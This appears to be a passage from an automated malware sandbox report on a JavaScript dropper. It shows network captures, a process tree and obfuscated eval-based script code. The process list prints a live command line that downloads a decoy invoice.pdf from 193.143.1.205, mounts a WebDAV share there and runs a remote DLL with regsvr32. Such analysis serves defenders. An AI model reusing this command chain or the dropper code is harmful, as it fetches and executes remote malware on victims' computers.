0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 08:46:00.876404047 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 08:46:00.876411915 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 08:46:00.876420021 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 08:46:00.876427889 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 08:46:00.876435995 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 08:46:00.876451015 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 13, 2025 08:46:00.876458883 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 13, 2025 08:46:00.876467943 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 13, 2025 08:46:00.876476049 CET	824	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 13, 2025 08:46:00.930566072 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6188	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 08:46:02.170845985 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 08:46:02.980165958 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 07:46:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:45:57
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js"
Imagebase:	0x7ff7e10a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:45:57
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll
Imagebase:	0x7ff650be0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:45:57
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:45:57
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:46:01
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:46:01
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff650be0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:46:01
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f1e00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:46:02
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:46:02
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:46:02
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1596,i,9492654057453378191,10660572081928221808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gonqxz() {	gonqxz() ➔ undefined
1	this[yxigmec + jenoysdn + pfgvhngry + fqcnurhg] ( "btwtpw=[1031,3079,5127,4103,2055,3072];var hycytnza=this[ownbq+pfgvhngry+bocfghubu+odknmmnhv+yxigmec+xjtin+ffcnwm+tyahrd](this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][ietxgkah+bocfghubu+yxigmec+pfgvhngry+tyahrd+yxigmec+bowmjggh+hyvqx+gowfmqdkb+yxigmec+vhlmihmu+tyahrd](qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd+ukkpvlpz+pwrwk+hfjif+yxigmec+fqcnurhg+fqcnurhg)[nfprvojx+yxigmec+nxgfgwf+nfprvojx+yxigmec+pfgvhngry+hqehnmhz](xltpqces+kccmpvbzq+vpcdm+qhozmdk+degggqirt+ietxgkah+jfoaql+nfprvojx+nfprvojx+vpcdm+zpizykdlr+ijcqn+degggqirt+jfoaql+pwrwk+vpcdm+nfprvojx+geqdgzywp+ietxgkah+jauslzm+ffcnwm+tyahrd+bocfghubu+jauslzm+fqcnurhg+snsrwkb+ndlemk+pfgvhngry+ffcnwm+yxigmec+fqcnurhg+geqdgzywp+xjtin+ffcnwm+tyahrd+yxigmec+bocfghubu+ffcnwm+pfgvhngry+tyahrd+ihokqrx+jauslzm+ffcnwm+pfgvhngry+fqcnurhg+geqdgzywp+uowklw+jauslzm+vhlmihmu+pfgvhngry+fqcnurhg+yxigmec),16);for(lqhetvnxl=0;lqhetvnxl<btwtpw[fqcnurhg+yxigmec+ffcnwm+nxgfgwf+tyahrd+hfjif];++lqhetvnxl){if(hycytnza==btwtpw[lqhetvnxl]){hycytnza=true;break;}}if(hycytnza!==true)this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][uommzel+mmmjuf+ihokqrx+tyahrd]();this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][ietxgkah+bocfghubu+yxigmec+pfgvhngry+tyahrd+yxigmec+bowmjggh+hyvqx+gowfmqdkb+yxigmec+vhlmihmu+tyahrd](qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd+ukkpvlpz+pwrwk+hfjif+yxigmec+fqcnurhg+fqcnurhg)[bocfghubu+mmmjuf+ffcnwm](vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+ownbq+jauslzm+eabgd+yxigmec+bocfghubu+odknmmnhv+hfjif+yxigmec+fqcnurhg+fqcnurhg+ukkpvlpz+yxigmec+nsxegkp+yxigmec+snsrwkb+qoqij+ietxgkah+jauslzm+uongkuk+uongkuk+pfgvhngry+ffcnwm+hqehnmhz+snsrwkb+zvoffk+xjtin+ffcnwm+jenoysdn+jauslzm+vxxpsbn+yxigmec+qoqij+qqcamz+yxigmec+hyvqx+nfprvojx+yxigmec+arvetqnjt+mmmjuf+yxigmec+odknmmnhv+tyahrd+snsrwkb+qoqij+bowmjggh+mmmjuf+tyahrd+lihjcrym+ihokqrx+fqcnurhg+yxigmec+snsrwkb+qtjnma+tyahrd+yxigmec+uongkuk+ownbq+qtjnma+geqdgzywp+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hqehnmhz+yawaz+snsrwkb+hfjif+tyahrd+tyahrd+ownbq+kpjumabq+egkarbg+egkarbg+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+egkarbg+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hfjif+ownbq+zvoffk+gapnvhm+gapnvhm+odknmmnhv+tyahrd+pfgvhngry+bocfghubu+tyahrd+snsrwkb+qtjnma+tyahrd+yxigmec+uongkuk+ownbq+qtjnma+geqdgzywp+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hqehnmhz+yawaz+gapnvhm+gapnvhm+vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+ffcnwm+yxigmec+tyahrd+snsrwkb+mmmjuf+odknmmnhv+yxigmec+snsrwkb+geqdgzywp+geqdgzywp+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+quykv+pgdqilw+pgdqilw+pgdqilw+pgdqilw+geqdgzywp+hqehnmhz+pfgvhngry+jenoysdn+eabgd+eabgd+eabgd+bocfghubu+jauslzm+jauslzm+tyahrd+geqdgzywp+gapnvhm+gapnvhm+vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+bocfghubu+yxigmec+nxgfgwf+odknmmnhv+jenoysdn+bocfghubu+tinuzmi+htodn+snsrwkb+egkarbg+odknmmnhv+snsrwkb+geqdgzywp+geqdgzywp+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+quykv+pgdqilw+pgdqilw+pgdqilw+pgdqilw+geqdgzywp+hqehnmhz+pfgvhngry+jenoysdn+eabgd+eabgd+eabgd+bocfghubu+jauslzm+jauslzm+tyahrd+geqdgzywp+neoah+kjtnowjr+hbdvxy+gojajwkyv+gojajwkyv+neoah+htodn+tinuzmi+neoah+hbdvxy+tinuzmi+neoah+pgdqilw+kjtnowjr+hbdvxy+ukkpvlpz+hqehnmhz+fqcnurhg+fqcnurhg,0,false);" );	eval("btwtpw=[1031,3079,5127,4103,2055,3072];var hycytnza=this[ownbq+pfgvhngry+bocfghubu+odknmmnhv+yxigmec+xjtin+ffcnwm+tyahrd](this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][ietxgkah+bocfghubu+yxigmec+pfgvhngry+tyahrd+yxigmec+bowmjggh+hyvqx+gowfmqdkb+yxigmec+vhlmihmu+tyahrd](qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd+ukkpvlpz+pwrwk+hfjif+yxigmec+fqcnurhg+fqcnurhg)[nfprvojx+yxigmec+nxgfgwf+nfprvojx+yxigmec+pfgvhngry+hqehnmhz](xltpqces+kccmpvbzq+vpcdm+qhozmdk+degggqirt+ietxgkah+jfoaql+nfprvojx+nfprvojx+vpcdm+zpizykdlr+ijcqn+degggqirt+jfoaql+pwrwk+vpcdm+nfprvojx+geqdgzywp+ietxgkah+jauslzm+ffcnwm+tyahrd+bocfghubu+jauslzm+fqcnurhg+snsrwkb+ndlemk+pfgvhngry+ffcnwm+yxigmec+fqcnurhg+geqdgzywp+xjtin+ffcnwm+tyahrd+yxigmec+bocfghubu+ffcnwm+pfgvhngry+tyahrd+ihokqrx+jauslzm+ffcnwm+pfgvhngry+fqcnurhg+geqdgzywp+uowklw+jauslzm+vhlmihmu+pfgvhngry+fqcnurhg+yxigmec),16);for(lqhetvnxl=0;lqhetvnxl<btwtpw[fqcnurhg+yxigmec+ffcnwm+nxgfgwf+tyahrd+hfjif];++lqhetvnxl){if(hycytnza==btwtpw[lqhetvnxl]){hycytnza=true;break;}}if(hycytnza!==true)this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][uommzel+mmmjuf+ihokqrx+tyahrd]();this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][ietxgkah+bocfghubu+yxigmec+pfgvhngry+tyahrd+yxigmec+bowmjggh+hyvqx+gowfmqdkb+yxigmec+vhlmihmu+tyahrd](qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd+ukkpvlpz+pwrwk+hfjif+yxigmec+fqcnurhg+fqcnurhg)[bocfghubu+mmmjuf+ffcnwm](vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+ownbq+jauslzm+eabgd+yxigmec+bocfghubu+odknmmnhv+hfjif+yxigmec+fqcnurhg+fqcnurhg+ukkpvlpz+yxigmec+nsxegkp+yxigmec+snsrwkb+qoqij+ietxgkah+jauslzm+uongkuk+uongkuk+pfgvhngry+ffcnwm+hqehnmhz+snsrwkb+zvoffk+xjtin+ffcnwm+jenoysdn+jauslzm+vxxpsbn+yxigmec+qoqij+qqcamz+yxigmec+hyvqx+nfprvojx+yxigmec+arvetqnjt+mmmjuf+yxigmec+odknmmnhv+tyahrd+snsrwkb+qoqij+bowmjggh+mmmjuf+tyahrd+lihjcrym+ihokqrx+fqcnurhg+yxigmec+snsrwkb+qtjnma+tyahrd+yxigmec+uongkuk+ownbq+qtjnma+geqdgzywp+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hqehnmhz+yawaz+snsrwkb+hfjif+tyahrd+tyahrd+ownbq+kpjumabq+egkarbg+egkarbg+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+egkarbg+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hfjif+ownbq+zvoffk+gapnvhm+gapnvhm+odknmmnhv+tyahrd+pfgvhngry+bocfghubu+tyahrd+snsrwkb+qtjnma+tyahrd+yxigmec+uongkuk+ownbq+qtjnma+geqdgzywp+ihokqrx+ffcnwm+jenoysdn+jauslzm+ihokqrx+vhlmihmu+yxigmec+ukkpvlpz+ownbq+hqehnmhz+yawaz+gapnvhm+gapnvhm+vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+ffcnwm+yxigmec+tyahrd+snsrwkb+mmmjuf+odknmmnhv+yxigmec+snsrwkb+geqdgzywp+geqdgzywp+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+quykv+pgdqilw+pgdqilw+pgdqilw+pgdqilw+geqdgzywp+hqehnmhz+pfgvhngry+jenoysdn+eabgd+eabgd+eabgd+bocfghubu+jauslzm+jauslzm+tyahrd+geqdgzywp+gapnvhm+gapnvhm+vhlmihmu+uongkuk+hqehnmhz+snsrwkb+egkarbg+vhlmihmu+snsrwkb+bocfghubu+yxigmec+nxgfgwf+odknmmnhv+jenoysdn+bocfghubu+tinuzmi+htodn+snsrwkb+egkarbg+odknmmnhv+snsrwkb+geqdgzywp+geqdgzywp+neoah+hbdvxy+tinuzmi+ukkpvlpz+neoah+soimvokha+tinuzmi+ukkpvlpz+neoah+ukkpvlpz+htodn+kjtnowjr+oylxuwh+quykv+pgdqilw+pgdqilw+pgdqilw+pgdqilw+geqdgzywp+hqehnmhz+pfgvhngry+jenoysdn+eabgd+eabgd+eabgd+bocfghubu+jauslzm+jauslzm+tyahrd+geqdgzywp+neoah+kjtnowjr+hbdvxy+gojajwkyv+gojajwkyv+neoah+htodn+tinuzmi+neoah+hbdvxy+tinuzmi+neoah+pgdqilw+kjtnowjr+hbdvxy+ukkpvlpz+hqehnmhz+fqcnurhg+fqcnurhg,0,false);") ➔ 0
2	}
3	uowklw = "m";
4	uowklw = "H";
5	uowklw = "e";
6	uowklw = "W";
7	uowklw = "z";
8	uowklw = "e";
9	uowklw = "E";
10	uowklw = "f";
11	uowklw = "j";
12	uowklw = "L";
13	gapnvhm = "y";
14	gapnvhm = "r";
15	gapnvhm = "x";
16	gapnvhm = "n";
17	gapnvhm = "D";
18	gapnvhm = "a";
19	gapnvhm = "u";
20	gapnvhm = "&";
21	htodn = "q";
22	htodn = "d";
23	htodn = "D";
24	htodn = "m";
25	htodn = "z";
26	htodn = "W";
27	htodn = "2";
28	quykv = "I";
29	quykv = "A";
30	quykv = "D";
31	quykv = "i";
32	quykv = "U";
33	quykv = "y";
34	quykv = "f";
35	quykv = "@";
36	yawaz = "m";
37	yawaz = "J";
38	yawaz = "q";
39	yawaz = "K";
40	yawaz = "s";
41	yawaz = "a";
42	yawaz = "M";
43	yawaz = "f";
44	mmmjuf = "I";
45	mmmjuf = "p";
46	mmmjuf = "h";
47	mmmjuf = "p";
48	mmmjuf = "C";
49	mmmjuf = "F";
50	mmmjuf = "d";
51	mmmjuf = "u";
52	xltpqces = "P";
53	xltpqces = "g";
54	xltpqces = "l";
55	xltpqces = "f";
56	xltpqces = "X";
57	xltpqces = "L";
58	xltpqces = "z";
59	xltpqces = "Z";
60	xltpqces = "g";
61	xltpqces = "H";
62	tyahrd = "s";
63	tyahrd = "S";
64	tyahrd = "L";
65	tyahrd = "e";
66	tyahrd = "N";
67	tyahrd = "t";
68	jenoysdn = "g";
69	jenoysdn = "Q";
70	jenoysdn = "g";
71	jenoysdn = "z";
72	jenoysdn = "Y";
73	jenoysdn = "g";
74	jenoysdn = "v";
75	qhozmdk = "l";
76	qhozmdk = "k";
77	qhozmdk = "G";
78	qhozmdk = "o";
79	qhozmdk = "x";
80	qhozmdk = "Y";
81	ijcqn = "a";
82	ijcqn = "l";
83	ijcqn = "m";
84	ijcqn = "M";
85	ijcqn = "l";
86	ijcqn = "m";
87	ijcqn = "y";
88	ijcqn = "T";
89	pgdqilw = "P";
90	pgdqilw = "q";
91	pgdqilw = "w";
92	pgdqilw = "F";
93	pgdqilw = "G";
94	pgdqilw = "g";
95	pgdqilw = "q";
96	pgdqilw = "8";
97	kpjumabq = "Y";
98	kpjumabq = "N";
99	kpjumabq = "d";
100	kpjumabq = "p";
101	kpjumabq = "n";
102	kpjumabq = "K";
103	kpjumabq = "T";
104	kpjumabq = ":";
105	snsrwkb = "Y";
106	snsrwkb = "A";
107	snsrwkb = "E";
108	snsrwkb = "y";
109	snsrwkb = "Y";
110	snsrwkb = " ";
111	uommzel = "g";
112	uommzel = "p";
113	uommzel = "i";
114	uommzel = "z";
115	uommzel = "t";
116	uommzel = "N";
117	uommzel = "P";
118	uommzel = "o";
119	uommzel = "P";
120	uommzel = "Q";
121	ukkpvlpz = "c";
122	ukkpvlpz = "N";
123	ukkpvlpz = "S";
124	ukkpvlpz = "V";
125	ukkpvlpz = "b";
126	ukkpvlpz = "C";
127	ukkpvlpz = "t";
128	ukkpvlpz = "c";
129	ukkpvlpz = "J";
130	ukkpvlpz = ".";
131	arvetqnjt = "w";
132	arvetqnjt = "k";
133	arvetqnjt = "T";
134	arvetqnjt = "v";
135	arvetqnjt = "m";
136	arvetqnjt = "S";
137	arvetqnjt = "U";
138	arvetqnjt = "q";
139	nfprvojx = "I";
140	nfprvojx = "v";
141	nfprvojx = "W";
142	nfprvojx = "h";
143	nfprvojx = "V";
144	nfprvojx = "a";
